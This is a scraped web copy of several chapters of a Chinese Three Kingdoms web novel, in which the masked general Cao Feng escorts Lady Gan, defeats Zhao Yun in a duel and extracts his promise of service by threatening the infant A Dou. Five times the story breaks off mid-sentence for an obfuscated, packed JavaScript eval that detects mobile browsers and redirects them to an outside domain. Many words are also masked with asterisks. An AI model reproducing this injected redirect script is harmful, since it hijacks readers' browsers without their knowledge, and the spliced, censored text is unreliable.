【“几年不见,你又长高了,像个真正的将军了……”】 【曹风迅速将面具重新覆盖在脸上,遮住面容,只露出一双锐利的眼睛。】 【曹风小心翼翼搀扶起甘夫人:“此地凶险万分,片刻耽搁不得!夫人,快上马!随我走!”】 【甘夫人被曹风搀扶着,勉强站稳,眼中充满忧虑。】 【“小脩,这里到处都是曹军。你带着我这个累赘,如何能……”】 【她话未说完,却被曹风打断。】 【曹风拍了拍自己坚实的胸甲,自信道:“夫人放心!关将军的本事,我可是学了不少!护您周全,绰绰有余!快上马!”】 【他不由分说地将甘夫人托上了那匹抢来的战马。】 【甘夫人坐在马背上,心中涌起一股暖流,欣慰地点点头。】 【“那倒也是……”随即,她又想到什么,神色一肃,语气异常认真,“小脩!若是途中遇到强敌,万不可力敌!你……”】 【“你自己一定要快些逃命!莫要管我!”】 【曹风没有回答,只是翻身上了自己的战马。】 【他拍了拍黑子的脖颈,指着甘夫人骑乘的那匹普通战马,低声叮嘱:“黑子,稳着点,别跑太快,那马跟不上你的脚力!”】 【黑子极为人性化地扭过头,极其鄙夷地瞥了一眼甘夫人座下那匹略显瘦弱的战马,鼻孔里喷出一股不屑的白气。】 【黑子突然扬起后蹄,精准无比地在那匹战马的后臀重要部位狠狠踹了一脚!】 【“唏律律——!”】 【那战马猝不及防,剧痛钻心,发出一声凄厉的长嘶,四蹄疯狂刨地,撒开蹄子,不管不顾地朝着曹风指引的方向狂奔而去!】 【巨大的惯性让马背上的甘夫人惊呼一声,身体猛地后仰,险些栽**下!】 【幸亏曹风之前扶她上马时,已反复叮嘱她务必抓紧缰绳,身体前倾压低重心。】 【她凭着本能死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048709|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死抓住缰绳,身体紧贴马颈,才堪堪稳住身形,没有被这突如其来的狂奔甩飞。】 【曹风见状,又好气又好笑,轻拍了一下黑子的脖颈,低声笑骂:“你这家伙!真调皮!”】 【黑子得意地昂**嘶一声,仿佛在炫耀自己的“功劳”,随即四蹄发力,如同离弦之箭!】 【几个腾跃便轻松追上了前方那匹因吃痛而狂奔的惊马,与甘夫人并行。】 【曹风护在甘夫人身侧。】 【但凡有不开眼的曹军试图拦截,皆被他用手中**挑杀刺穿。】 【曹风时而冲锋在前,为甘夫人开路,时而断后阻敌,枪影如幕,滴水不漏。】 【在混乱的战场上左冲右突,巧妙地避开大队曹军,专挑缝隙和薄弱处冲击。】 【不知冲杀了多久,挑翻了多少敌兵,终于,前方阻挡的曹军旗帜渐渐稀疏,喊杀声也落在了身后。】 【他们冲出了曹军主力的核心控制区域!】 【暂时脱离险境,甘夫人紧绷的心弦稍松,这才有暇仔细看向身旁的曹风。】 【只见他身上的玄甲已被鲜血浸透,面具边缘也溅满了斑斑点点的血污。】 【为了护她周全,曹风多次经历了苦战。】 【甘夫人眼中含泪,声音带着对晚辈的关怀:“小脩,你受伤了没有?”】 她看着眼前这个浑身浴血却依旧挺直脊梁的少年将军,心中涌起感动与庆幸。 当初在曹营,自己不过是一念之仁,为曹脩向关羽说许多好句话。 没想到竟在今日这绝境之中,换来了生路! 这孩子……知恩图报,一诺千金,真是世间少有的好儿郎! 甘夫人心中感叹:他那早逝的母亲若在天有灵,看到儿子如此忠勇仁义,也定会感到无比欣慰吧! 【曹风转过头,隔着面具,声音依旧清朗:“甘夫人放心,都是些皮外伤,敌血居多,不妨事。”】 【他指了指前方隐约可见的一片茂密树林,“穿过那片林子,就更安全了。我们……”】 【话音未落,曹风的声音停了下来!。】 【几乎同时,甘夫人的心也提到了嗓子眼,脸色瞬间煞白。】 第220章 曹操:我要生擒赵子龙! 【只见前方那片看似平静的树林边缘,毫无任何征兆地涌出大批人马!】 【这些士兵行动极其迅捷,步伐沉稳有力,队列森严齐整,带着一股令人窒息的肃杀之气。】 【他们清一色披挂着漆黑的玄铁重甲,沉重的头盔严密地覆盖着整个面部,只在眼部留出缝隙。缝隙中露出里面一道道冰冷如刀、毫无情感波动的目光。】 杀气凛冽! 【为首的那员大将,身材魁梧雄壮,宛如一尊铁塔矗立,手中紧握开山斧。】 正是以勇力冠绝三军而著称的徐晃,徐公明! 由于曹风单枪匹马冲入曹军许久未归,徐晃担心曹风有失,于是率领铁浮屠前来接应。 【紧跟在徐晃身后半步的,则是一位身着宽大黑色文士长袍的人。】 【他脸上同样覆盖着一副造型古朴、透着诡异气息的面具,只余下一双深邃、阴冷的眼睛露在外面。】 正是最早追随曹风的谋士,手段狠辣的首席智囊——李儒! 【这些突然出现的兵马,远超甘夫人之前见过的的任何一支军队!】 即便是刘备视若珍宝,由心腹陈到亲自统领、以悍勇著称的白毦精兵,与眼前这支铁军相比,也显得黯淡无光! 甘夫人虽从未亲临战阵,但身为刘备的结发妻子,多年来跟随丈夫在群雄割据的乱世之中奔走四方。她也历经了无数风浪,耳濡目染之下,倒是有远超常人的见识和眼光。 她心中瞬间有了判断:眼前这支军队,其精锐程度,绝对是**挑一。 【甘夫人猛地转头看向身旁的曹风,她语气中带着决然和急促:“小脩!快!别管我!你自己一个人快逃!”】 【然而,甘夫人催促话音刚落下,令她不敢置信的一幕,便在她眼前上演!】 【只见那数百名玄甲精锐,在那持巨斧的魁梧巨汉的率领下,齐刷刷地面向曹风所在的方向行礼!】 紧接着,数百个低沉浑厚、饱含着发自内心的敬畏与绝对忠诚的声音,汇聚在一起: 【“参见公子——!”】 【声浪如同平地惊雷,声震四野!】 【甘夫人彻底呆立当场,大脑陷入一片空白。】 公子? 这些杀气腾腾、装备精良得可怕的铁甲精锐,他们称呼……小脩为…… 公子?! 曹风却对眼前这足以让任何人情绪激荡的景象**以为常。 【他平静地侧过头,对还在震惊的甘夫人说道:“甘夫人,我还有紧要事情需亲自处理,不便亲自远送夫人了。”】 【他抬手指着徐晃,沉声道:“这位是徐晃徐公明将军,其勇武冠绝三军,忠义无双。”】 【“就由他亲自率领一部精锐铁骑,继续护送夫人。”】 甘夫人直到此刻才如梦初醒,原来…… 原来这些杀气凛然的精锐铁骑,竟然全都是小脩的人马?! 【曹风不再多言,对着肃立待命的徐晃,和一旁静默如影的李儒,微微颔首示意。】 【徐晃心领神会,立刻沉声点将。】 【一支约两百人的重甲骑兵应声出列,瞬间形成一个坚实严密的保护圈,将甘夫人牢牢护在中央。】 【曹风又对李儒使了眼色。随即,他轻轻一勒手中缰绳。】 【“黑子”立刻会意,调转马头,面向长坂坡那依旧杀声震天惨烈战场方向。】 李儒策动坐骑,来到曹风身侧稍后的位置,青铜面具下的目光,如同冰冷的毒蛇,穿透弥漫的烟尘,投向长坂坡! 他知道,曹风要去找他那位勇冠三军的师侄了! …… 【此刻的长坂坡核心战场,尸横遍野,血流成河,断折的兵器和残破的旗帜随处可见。】 【赵云的银甲已被敌人和自己鲜血染成了暗红色,正将少主阿斗紧紧护在怀中襁褓之内。】 【他在曹军重重围堵中,左冲右突,奋力厮杀。手中的龙胆亮银枪每一次刺出,必有曹军士卒哀嚎倒下。】 【他已经记不清自己冲杀了多久,斩杀了多少敌将。】 粗略估算,倒在他枪下的有名有姓的曹营将领,至少已有二十余人! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054884|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【赵云的呼吸变得粗重,汗水混合着血水从额头不断淌下,但那双锐利的眼睛,依旧战意十足,死死守护着怀中的幼主。】 【曹操站在战场边缘的高坡上,四周簇拥着谋臣猛将,俯瞰下方混乱的战局。】 【他的目光死死盯住山坡下那个银甲将军——】 【那人虽如困兽般被围,却仍悍勇异常。】 【赵云在千军万马中冲杀,枪锋所至,无人能挡。】 【曹操眼中闪过毫不掩饰的欣赏。他侧头问身旁的曹仁:“那是谁?真是一员虎将!世上竟有这等人物!”】 【“若我能收服此人,何愁大业不成?”曹操话语里满是对赵云的赞叹。】 【曹仁凝神细看,无奈地摇了摇头:“明公,末将也不认得此人。此人面生得很,并非关羽、张飞等刘备麾下知名大将。”】 【他随即上前几步,对着下方混乱的战场,运足气劲,声如洪钟般大喊道:“阵中那员银甲白马的将领!可留下姓名?”】 【正在奋力冲杀的赵云闻声,猛地一枪挑飞一名冲上来的曹军偏将,勒住战马,**斜指坡上。】 【他声若龙吟,响彻战场:“我乃常山赵子龙也!”】 【“赵子龙……”曹操在坡上喃喃自语,反复念着这个名字,眼中精光更盛,“常山赵子龙……”】 【“好一个赵子龙!”】 【“刘备啊,刘备!你何德何能,竟能同时拥有云长和子龙这等万人敌的虎将!”】 【曹操语气中的嫉妒与惋惜毫不掩饰。】 曹操的**病——爱才惜才之心,瞬间又犯了。 【曹操指着在万军之中依旧纵横捭阖的赵云,对左右激动地说道:“我若能得此虎将效力,何愁天下不定?”】 【“传我将令!不得对赵子龙放冷箭!”】 【“我要生擒此人!”】 【曹操又郑重的重复了一句:“务必生擒!违令者斩!”】 曹操相信,即便赵云再神勇,也绝不可能在他数万大军的重重包围之中杀出一条生路,最终必将力竭被擒。 第221章 曹风救韩琼 看着赵云胯下神骏的白马,手中翻飞如龙的银枪,曹操的思绪猛然被拉回到了之前的白狼山之战。 当年,也有一位同样使一杆神出鬼没的**、勇猛无匹的将军,与张辽一同冲阵,所向披靡。 那个将军给曹操留下了极其深刻的印象。 眼前的赵子龙,与那人…… 太像了! 一样的枪法卓绝,一样的勇猛绝伦,身上都带着一股舍我其谁的锐气! 只是…… 曹操仔细回忆着,当年白狼山那员金甲将军,坐下的马匹似乎比赵云此刻骑乘的白马更加神异,更加矫健灵动,仿佛通灵一般。 而且,赵云此刻是银甲,当年那人却是耀眼的黄金甲。 【曹操越看赵云的身手,越觉得两人神似。他忍不住转过头,问侍立身旁、同样在凝神观战的张辽。】 【“文远,你仔细看看,这赵子龙的身手、枪法,像不像当年在白狼山与你并肩作战,杀得乌桓闻风丧胆的那位金甲将军?”】 【张辽闻言,浓眉紧锁,锐利的目光紧紧追随着赵云厮杀的身影。】 【仔细观察了片刻,他才沉声回答道:“明公明鉴,观其枪法路数,确实与当年那位将军有六七分相似!”】 【“招式凌厉、刁钻,气势如虹。只是……”】 【张辽顿了顿,似乎在对比回忆,“只是白狼山那位将军的枪法,似乎更加……”】 【“超脱?”】 【“那位的枪法更加无迹可寻,仿佛已臻化境。相比之下,赵子龙的枪法虽猛,却略显匠气,少了几分浑然天成的意境。”】 【“唉!”听到张辽的确认,曹操重重地叹了口气。】 【他脸上满是遗憾与失落,“我命人遍寻天下,寻找那位金甲将军多年。”】 【“却始终杳无音讯,如同石沉大海,真是平生一大憾事!”】 【“我若能得到他效力,区区一个赵子龙,又岂能在我大军之中如此狂妄?!”】 曹操越说越是惋惜,不禁又想起那位英年早逝的奇才。 【“若是奉孝还在世就好了……”】 【】“以他的能力,定能帮我查出那位金甲将军的**,为我寻得此人……”】 【侍立在一旁的谋士程昱,听到曹操这番充满遗憾的感慨,暗自咂舌。】 又怀念郭嘉?这个坎是过不去了,是吧? 时间又过去了一个多时辰。 【战场上的厮杀依旧惨烈。】 【而核心处的赵云,仿佛不知疲倦。】 【他非但没有力竭的迹象,反而越战越勇!】 【他的枪势更加凌厉,所过之处,曹军士卒竟隐隐有畏缩不前之势。】 【曹仁看着己方士卒不断倒下,心中焦急万分。】 【他忍不住再次向曹操进言:“明公!不能再任由赵子龙这般肆意冲杀下去了!我军精锐损伤惨重!”】 【“再这样下去,即便最终拿下他,代价也太过巨大!请明公速做决断!”】 【曹操凝视着下方那个依旧在人海中奋勇拼杀的银色身影,沉吟了良久,眼中最后一丝不舍终于褪去。】 【取而代之的是冰冷的杀伐决断。】 【他缓缓抬起手,声音低沉:“罢了!传令,全力围杀!取其首级者,赏千金,封万户侯!”】 【曹仁闻言,精神一振,立刻抱拳领命:“末将遵令!”】 【曹仁迅速翻身上马,策马冲下高坡,一边疾驰一边高声呼喝:“丞相有令!阵杀赵子龙!取其首级者,赏千金,封万户侯!众将士,随我杀!”】 【随着曹仁的呼喝和曹操的命令传遍战场,曹军的攻击方式瞬间发生了剧变。】 【原本因为生擒命令而有所顾忌的曹军士卒,此刻再无任何保留,不再顾忌是否会伤及赵云性命,各种致命的攻击全都砸向赵云!】 【**攒刺,刀斧劈砍,冷箭偷袭,无所不用其极!】 赵云的压力顿时倍增! 【四面八方都是致命的攻击,他不仅要护住怀中的阿斗,更要防备冷箭。】 【银枪挥舞得密不透风,格挡开一次又一次的攻击,但身上的伤口也明显增多,鲜血不断渗出,浸染着早已暗红的战甲。】 【好几次险象环生,躲开致命的冷箭。】 然而,赵云毕竟是赵云! 身处绝境,赵云将武艺施展得淋漓尽致。多年未破的瓶颈,此刻竟隐隐松动。】 【曹军士卒因急于抢功而出现的一丝配合缝隙,被赵云抓住。】 【他拼着硬受了一记刀伤,猛然催动疲惫的战马,奋力冲杀,终于摆脱了最核心的重围!】 【冲出重围的瞬间,他猛地勒住战马,回身对着高坡之上那个熟悉的身影,放声大笑。】 【笑声中充满了浴血奋战后的豪迈与对敌人的蔑视!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057295|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【“曹贼!子龙去也!今日之赐,他日必当奉还!”】 【赵云又挥了挥手中的青釭剑,大笑道:“多谢!”】 【高坡上的曹操,听着赵云那充满嘲讽的大笑,脸上并无多少怒意。】 【曹操指着纵马远去的赵云,大笑道:“哈哈哈!好一个赵子龙!果然和刘大耳一个秉性,就知道逃跑!”】 【“你人纵然是铁打的,不知疲惫,可你的马呢?”】 【“它还能跑多远?我看你能逃到哪里去!”】 【赵云闻言,只是一声冰冷的嗤笑,不再言语,用枪杆狠狠一拍马臀,纵马朝着战场外围,朝着刘备败退的方向疾驰而去】。 【身后,大批反应过来的曹军精锐骑兵,紧追不舍,掀起滚滚烟尘。】 【赵云正向前拼命赶路,恰好撞见回军的韩琼。】 【两人交手三十余合,韩琼不敌,被一枪挑**下。】 【杀红眼的赵云正要结果韩琼性命,忽听破空之声袭来,连忙挥枪挑开那支冷箭。】 【韩琼趁机滚出战圈,嘴里骂骂咧咧:“赵子龙!你这小王八蛋,连师叔都敢杀!”】 【随后,二人同时望向箭矢来处。】 【】只见不远处山坡上立着一位白马银枪、黄金甲,面具遮面的将军。他身旁还站着个同样遮面文士。】 【赵云见对方无意纠缠,便拔马离去。】 【韩琼却看得真切——那救命恩人手中握的,分明是师兄的五虎断魂枪!】 此人身份不言自明:正是童渊的师弟,也是自己的师弟,曹风! 【“师兄,别来无恙啊。”曹风大笑,“你竟投了曹操?怎也不来凉州寻我?”】 【韩琼咧嘴一笑:“你这臭小子神龙见首不见尾,让我上哪儿找去?”】 【曹风**一指:“那现在还来得及,师兄可往那个方向去寻我。”】 【说罢,曹风调转马头,继续追赶赵云。】 【李儒紧随其后。】 【路上,李儒阴恻恻地提醒:“公子若再犹豫,只怕要让赵云跑了。”】 【曹风叹道:“也罢,就依文优之言。”】 【李儒这才露出满意的笑容。】 这才对么!无毒不丈夫! 成大事者,岂能顾忌太多? 公子样样都好,就是太过重情。 当然,除了那个不做爹,也不做人的曹操。 第222章 曹风大战赵子龙 【就在赵云以为即将暂时脱离险境时,斜刺里突然又杀出一匹人马,拦住了去路!】 【为首两员大将,气势汹汹,正是奉命在外围堵截的河北名将——高览与张郃!】 【高览手持长柄大刀,张郃紧握点钢枪,两人一前一后,意图夹击赵云,将这位令曹军损失惨重的虎将彻底留下。】 【面对两大名将的拦截,赵云毫无惧色。】 【赵云催动疲惫的战马,迎着高览冲去。】 【在两人即将交锋的瞬间,赵云手中的龙胆亮银**出!】 这一枪,快!准!狠! 凝聚了他全身的力气! 【高览万万没想到,经过如此惨烈厮杀后的赵云,出手竟然还能如此迅猛绝伦!】 【他仓促间挥刀格挡,却只觉一股巨力传来,手中大刀竟被震得险些脱手!】 【而赵云的银枪,如同毒蛇吐信,在荡开大刀的瞬间,毫不停滞地刺入了高览的肩窝,随即枪身一抖,一股巧劲爆发!】 【“啊呀!”高览惨叫一声。】 【竟被赵云硬生生从马背上挑飞,重重地摔落在尘埃之中!】 仅仅一个照面! 河北名将高览,便被赵云挑**下! 【张郃眼睁睁看着高览栽**下,顿时魂飞魄散!】 张郃与高览是异姓兄弟,深知高览武艺高低。他自己与高览武艺本相平。 高览竟然连赵云一回合都没撑住,就被挑**下! 那自己冲上去…… 岂不是白白送死? 【强烈的求生欲瞬间压倒了一切,张郃几乎没有任何犹豫,猛地一勒缰绳,硬生生止住了前冲的势头。】 【然后毫不犹豫地拔转马头,头也不回地朝着侧方逃窜而去!】 什么同袍之情,什么军令如山…… 【张郃那狼狈不堪的样子,让赵云忍不住放声大笑。】 【赵云笑声中,充满了对张郃懦弱的鄙夷,还有成功突围的快意。】 【“哈哈哈!张儁乂!闻名不如见面!”】 【“原来也不过是个贪生怕死之徒!河北名将?贻笑大方!”】 【笑声未落,赵云眼中寒光一闪。】 【他纵马上前,挺起手中仍在滴血的银枪,就要朝着地上的高览心口狠狠刺下!】 【此人是曹营大将,若能取其性命,对曹军士气是重大打击! 【高览摔得七荤八素,肩窝的剧痛让他几乎昏厥。】 【他眼睁睁看着张郃那决绝逃走的背影,心中涌起怒火和无法言喻的悲凉!】 说好的兄弟情谊,同生共死呢? 你丫竟然如此不把我当人看,见死不救,独自逃生! 【他绝望地看着那带着寒芒的枪尖,在自己瞳孔中急速放大!】 【就在这千钧一发之际,一声清朗的大笑从侧面传来!】 【只见一人一骑,如同天神下凡,从旁边一处高耸的土坯上腾空跃下!】 【那人在空中舒展身体,手中一张强弓已然拉成满月!】 【“枪下留人!”话音未落,弓弦惊响!】 【一支雕翎羽箭激射而出!】 【这支箭,又快又准!】 【“叮!”一声清脆刺耳的金铁交鸣!】 【那支羽箭,不偏不倚,正好狠狠地钉在了赵云刺向高览心窝的枪尖之上!】 【箭矢上蕴含的力道竟将赵云那必杀的一枪,硬生生带偏了轨迹!】 【原本刺向高览心口的枪尖,被这股巨力撞击,擦着高览的肋部铠甲,“噗”地一声深深刺入了旁边的土地之中,溅起一片尘土!】 【高览被这死里逃生的变故惊得呆了一瞬,随即巨大的求生本能爆发!】 【他强忍着肩窝的剧痛,猛地在地上翻滚了好几圈,连滚带爬地逃离了赵云的攻击范围。】 【高览直到靠在一块大石旁才停下,大口喘着粗气。】 【赵云猛地抬头,望向羽箭射来的方向。】 【只见不远处一员上将傲然驻马而立。】 【这人一身耀眼夺目的黄金锁子甲,在阳光下熠熠生辉。】 【胯下是一匹神骏非凡、通体雪白无一丝杂**的骏马,手中紧握一杆通体银白的**。】 【他脸上覆盖着一张面具,只露出一双深邃锐利的眼睛。】 【在他身边,还立着一位同样遮着脸、身着文士袍的身影。】 【见到这熟悉的白马、黄金甲、以及那标志性的遮面,赵云眼中瞬间燃起熊熊怒火,几乎是咬牙切齿地低吼。】 【“又是你这藏头露尾的贼人!屡次三番偷袭我!”】 【那黄金甲的将军闻言,不仅不怒,反而在面具下发出一阵爽朗的笑声。】 【“臭小子!没大没小!对师叔也敢如此无礼!快叫师叔!”这语气,仿佛在教训一个不懂事的后辈。】 【赵云刚想破口大骂,斥责对方无耻,目光却猛地凝固在对方手中紧握的那杆**之上!】 那枪…… 那枪他再熟悉不过! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063244|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是他多次向恩师童渊恳求赐予,却始终未能如愿得到的绝世神兵——五虎断魂枪! 这枪怎会在此人手中?! 难道这人真的是自己的师叔?怪不得之前他要救下韩琼。 【曹风不再废话,一提缰绳,白马长嘶一声,直取赵云!】 【“臭小子,看来师兄没好好教你尊师重道!”】 【“今日,师叔我就替他好好教训教训你!”】 【话音未落,五虎断魂枪已然朝着赵云当头砸下!】 【赵云瞳孔一缩,瞬间收敛心神。】 无论对方是谁,此刻都是自己的生死大敌! 他打起十二万分精神,挺起龙胆亮银枪迎战! 【“铛!铛!铛!……”】 【两杆绝世神枪猛烈地碰撞在一起,爆发出震耳欲聋的声音!】 【两匹神驹也是交错盘旋,卷起阵阵烟尘。】 【两人枪来枪往,瞬间便大战了二十余回合。】 【枪影翻飞。】 【那激烈的程度,那精妙的招式,那沛然的力量,看得瘫坐在大石旁的高览目瞪口呆,胆战心惊,一时竟忘了肩头的剧痛。】 这简直是武艺巅峰之战! 赵云越战越是心惊! 他发现自己引以为傲的枪法,在对方那看似随意挥洒的枪势面前,竟处处受制! 更让他感到骇然的是,对方似乎…… 还留有余力? 【“不错!”激战中,曹风的声音再次响起,带着一丝赞许。】 【“枪法已有几分火候,比你那不成器的师兄张绣,确实要强上不少!”】 【话音落下的瞬间,赵云明显感觉到对方的枪势陡然一变!】 【速度更快!力量更强!角度更加刁钻诡异!】 【曹风手中的五虎断魂枪,仿佛一条沉睡的蛟龙骤然苏醒,张开了獠牙!】 曹风,开始认真了! 【又过了十余回合,赵云只觉得对方的枪影仿佛无处不在。】 【赵云咬紧牙关,将平生所学发挥到极致,却依旧感到力不从心。】 【就在这时,曹风突然发出一声如同虎啸山林般的暴喝:“撒手!”】 【伴随着这声暴喝,他手中的五虎断魂枪以一个匪夷所思的角度,精准无比地绞上了赵云的龙胆亮银枪中段!】 一股无可匹敌的里力量传来! 【赵云的龙胆亮银枪脱手飞出。】 【“哐当”一声,远远地跌落尘埃之中!】 第223章 李儒毒计:用阿斗,胁迫赵云 【武器脱手!赵云心中大震!】 【但他反应极快,生死关头,毫不犹豫!】 【他猛地拔出那柄削铁如泥的绝世宝剑——青釭剑!】 【寒光一闪,剑锋直指曹风,继续迎战!】 即使失去**,他也要用宝剑守护怀中的少主! 【曹风见赵云拔出青釭剑,却并未趁势强攻。】 【他反而将五虎断魂枪往身旁的土地上用力一撮,枪身入土半尺,稳稳立住。】 【紧接着,曹风动作流畅地反手从背后抽出了那柄无名宝剑。】 【曹风的声音透过面具传来:“师叔我不欺负你!”】 【“来,对砍!”】 【曹风已策马逼近,无名宝剑当头斩下!】 【赵云毫不示弱,青釭剑带着清越的剑鸣迎上!】 【“铛!铛!铛!……”】 【宝剑相交,火星如同瀑布般疯狂溅射!】 赵云的剑法造诣,比起枪法终究逊色一筹。 而曹风,无论是枪是剑,早已融会贯通,臻至化境。 【仅仅对砍五六个回合,曹风剑势陡然一变!】 【一道寒光穿透了赵云的防御,冰冷的剑锋,稳稳地横在了赵云的脖颈之上!】 【赵云身体一僵。】 【他垂眼看了看怀中依旧安睡的幼主阿斗,眼中闪过一丝悲凉与不甘。】 【最终,他还是缓缓松开了紧握青釭剑的手。】 【青釭剑掉**下。】 【赵云闭上双眼,昂起头颅,沉声道:“子龙有愧主公知遇之恩,未能护得少主周全!唯死而已!动手吧!”】 然而,预想中的剧痛并未传来。 【赵云疑惑地睁开眼。】 【只见曹风手中的无名宝剑,不知何时已然归入鞘中。】 【他正静静地看着自己,面具下的眼神,似乎带着一丝…… 笑意?】 赵云心中瞬间燃起一丝希望的火苗。 他并非怕死,而是他若**,怀中的阿斗也必然难逃一死! 【他连忙用双臂更紧地护住怀中的襁褓,警惕而充满不解地盯着曹风:“这是何意?为何不杀我?”】 【曹风的目光扫过赵云紧紧护住的襁褓:“我可以放你和阿斗回去。”】 此言一出,赵云简直难以置信。 【但曹风接下来的话,又让他的心沉了下去,“但是,有一个条件——你需归附于我,为我效力。”】 【没有丝毫犹豫,赵云斩钉截铁地回绝:“不可能!”】 【“我赵云深受主公厚恩,岂能行此背主求生、做出不忠不义之事?”】 【“要杀便杀,休要多言!”】 曹风似乎早料到他的回答,并不动怒。 他指了指赵云怀中的阿斗:“那我就只好杀了你,再杀了这个襁褓中的婴儿。”】 【“阿斗若死,你一样是对不住刘备的托付,一样是未尽到护卫之责。”】 【“听说刘玄德一向仁德宽厚?或许,他明事理,知道你已尽力,不会责怪你这位忠心耿耿的虎将。只是你死的瞑目吗?”】 【“卑鄙!”赵云闻言,心中顿时大怒,牙齿咬得咯咯作响。】 然而,愤怒归愤怒。 曹风的话,精准地刺中了赵云的软肋—— 阿斗不能死! 这是刘备血脉! 【终于,赵云抬起头,眼中充满了复杂的血丝:“我若留下,谁来将阿斗送还主公?我信不过你们这些……曹营的人!”】 【曹风摇了摇头:“我说过要你此刻就留下吗?”】 【赵云眉头紧锁,更加不解:“那你究竟是何意?”】 他完全猜不透这位神秘“师叔”的意图。 他这个师叔,不仅枪法刁钻,说话也是让人捉摸不透。 【“你可以亲自将阿斗平平安安地送还到刘备手中。之后,你再来凉州寻我即可。”】 曹风的话,再次出乎赵云的意料! 他几乎以为自己听错了。 自己亲自送回阿斗? 然后再去投奔? 【赵云疑惑道:“你就不担心我食言?”】 【“我若将阿斗送回主公身边,便不再去凉州找你,你又当如何?”】 【曹风闻言,在面具下发出一阵充满自信的大笑。】 【“哈哈哈!我相信子龙一诺千金,重信守诺!”】 【他笑声一顿,霸气道:“而且,即便你真的食言不来……”】 【他伸手拔起插在一旁地上的五虎断魂枪,枪尖指向赵云。】 【“下次见面,我照样能杀你! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067947|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”】 【“我还会把你爽约的怒气,加倍撒在你那位躲在深山里、不问世事的师父童渊老头身上!”】 “让他知道,他教出的好徒弟,是如何‘信守承诺’的!” 【“你……”赵云被曹风气的说不出话来。】 【他叹了一口气,目光复杂地看着曹风:“好!我答应你!待我将少主平安送还主公,便去凉州寻你!”】 【“我到了凉州,该去何处寻我?”赵云沉声问道。】 【曹风猛地一勒缰绳,调转马头】。 【“你到了凉州地界,自然会有人为你引路!”】 【“子龙师侄,后会有期!”曹风朝着来时的方向疾驰而去。】 【然而曹风那金色的身影,刚刚消失在赵云视线尽头没多久,竟然又折返了回来!】 【马蹄声由远及近。】 【赵云的心瞬间提到了嗓子眼!】 【他以为曹风突然反悔了,又回来要杀阿斗。】 【他下意识地紧了紧怀中的襁褓。】 【但随即又放松下来,脸上露出一丝无奈。】 因为他心里很清楚,在绝对的实力差距面前,任何反抗都是徒劳的。 自从艺成下山以来,他赵云纵横天下,罕逢敌手,从未像今天这样感到深深的无力。 这个自称师叔的曹风,实在太强了! 强得让人绝望! 【可是,策马奔回的曹风,根本没有看赵云一眼。】 【曹风径直从赵云身边擦身而过,目标直指还瘫坐在大石旁的高览!】 【高览看着直冲自己而来的曹风,完全懵了,不知所措。】 【曹风策马冲到高览面前,二话不说,手中五虎断魂枪的枪杆敲在了高览的后颈上!】 【“呃……”高览只来得及发出一声短促的闷哼,便眼前一黑,身躯软软地瘫倒下去,彻底失去了意识。】 【曹风俯身,如同拎小鸡般,轻松地将昏迷的高览提起来。】 【曹风对着昏迷的高览笑了笑,自言自语道:“差点儿把你这个倒霉蛋给忘了。”】 【说罢,曹风再次调转马头,看也没看旁边一脸愕然、哭笑不得的赵云,带着昏迷的高览,策马扬鞭。】 【赵云喃喃自语道:“自己这个师叔……还真是奇怪得紧!”】 第224章 赵云离去,刘备举着阿斗在风中凌乱 